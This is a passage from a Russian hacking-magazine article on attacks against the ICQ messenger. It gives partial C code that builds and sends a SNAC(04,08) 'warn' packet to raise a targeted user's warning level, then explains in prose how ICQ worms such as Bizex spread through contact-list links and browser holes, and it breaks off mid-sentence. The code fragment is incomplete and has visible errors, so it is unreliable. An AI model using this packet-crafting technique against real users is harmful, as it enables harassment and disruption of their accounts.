Извращения с тетей Асей Роман Куберов aka q_ber Спецвыпуск: Хакер, номер #048, стр. 048-050-3 Приступим к основному коду. main(int argc, char *argv[]) { Объявляем, соответственно, буфер, куда мы будем все формировать, FLAP и TLV: static char *buf, *flap, *tlv; Идентификатор запроса - необходимое значение для SNAC-заголовка, при сеансе каждый раз увеличивается на единицу. Если это значение не будет увеличиваться, произойдет мгновенное отключение от сервера: u_int32_t requestid = 0; Собираем warn-пакет и пакуем это все хозяйство в буфер: buf = (char *)malloc(n, sizeof(char )); buf = flap = flap_begin(buf, 2); buf = writew(buf, 0x0004); buf = writew(buf, 0x0008); buf = writew(buf, 0x0000); buf = writel(buf, ++requestid); Важное замечание по поводу анонимности посланного пакета: значение 0x0001 сформирует анонимный пакет, значение 0x0000 сформирует не-анонимный пакет. В общем, если посылать пакет анонимно, сервер просто откажется его принять :). Пишем: buf = writew(buf, 0x0000); //не анонимный buf = writeb(buf, uinlen); buf = writes(buf, uin, uinlen); flap_end(buf, flap); После того, как мы сформировали буфер (а мы его сформировали), отправляем его на сервер функцией send, а в случае сетевой проблемы выводим ошибку: if(send(sock, buf, packlen,0) == -1){perror("SNAC04,08 Send:"); exit(1);} Если пакет был успешно доставлен на сервер (и пакет не был им проигнорирован), сервер вернет нам пакет со SNAC(04, 09) в котором будет содержаться новый уровень warning-level’а UIN’а который мы собрались атаковать, в процентах. В случае отказа сервера в данной услуге вернется пакет со SNAC (04, 01). На этом мы завершаем наш краткий рассказ про warn-атаку. Дело это пока еще непубличное и полные исходники тебе никто просто не отдаст, но кое-что мы все же раздобыли и выложили на CD к журналу. Хватай, пока горячее :). Но тема атак на известный пейджер этим не ограничивается. На закуску мы расскажем о слегка устаревших, но еще рабочих способах. ICQ-черви Как таковые, ICQ-черви являются программами двухступенчатого принципа действия. Механизм работы червя достаточно прост, более того он, вопреки слухам, даже не использует протокол ICQ для распространения. Алгоритм его такой: червь рассылает с зараженного компьютера сообщение по сети ICQ (используя контакт-лист зараженной машины): «Посетите сайт ...com|biz|net». Если пользователь заходит на этот сайт, в дело вступает скрипт, использующий уязвимости в Internet Explorer’е, который собственно и отвечает за размножение червя. Именно он скачивает на компьютер компоненты червя и инсталлирует их в систему. Для примера возьмем недавно нашумевший вирус Bizex. Это сообщение получили многие пользователи сети ICQ: «www.jokeworld.xxx/xxx.html :)». Для маскировки при просмотре веб-сайта пользователю показывается содержание интернет-представительства "Joe Cartoon" - автора популярных американских мультсериалов. В это время вирус атакует компьютер, используя сразу два направления. Во-первых, проникая сквозь брешь в браузере Internet Explorer и - через дыру в операционной системе Windows. Почитать о данных отверстиях можно тут: |